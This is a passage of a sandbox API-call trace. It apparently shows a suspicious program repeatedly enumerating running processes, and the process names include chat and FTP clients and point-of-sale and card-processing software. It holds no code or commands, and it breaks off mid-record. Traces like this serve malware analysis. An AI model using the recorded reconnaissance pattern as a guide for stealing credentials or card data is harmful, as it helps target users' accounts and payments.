th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0276.686] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0276.720] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0276.723] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0276.732] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0276.735] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0276.738] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0276.796] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0276.800] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0276.803] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0276.807] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0276.810] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0276.814] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0276.818] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0276.821] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0276.824] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0276.827] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0276.831] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0276.836] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0276.839] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0276.842] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0276.845] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0276.848] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0276.852] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0276.855] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0276.858] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0276.861] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0276.865] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.867] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.871] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.875] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.878] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0276.881] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.883] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.887] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0276.890] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0276.895] CloseHandle (hObject=0x1978) returned 1 [0276.895] Sleep (dwMilliseconds=0x64) [0276.897] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0276.966] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.970] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.009] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.011] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.012] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.014] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.020] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.023] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.029] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.031] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.034] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.037] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.039] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.041] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.043] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.045] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.047] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.049] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.051] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.053] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.055] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.057] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.060] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.062] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.064] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.066] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0277.068] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.070] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.072] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.074] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.077] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.079] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.081] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0277.082] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.085] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.086] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0277.088] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0277.090] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0277.092] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0277.093] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0277.101] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0277.102] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0277.104] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0277.106] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0277.108] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0277.110] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0277.112] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0277.114] Process32Next 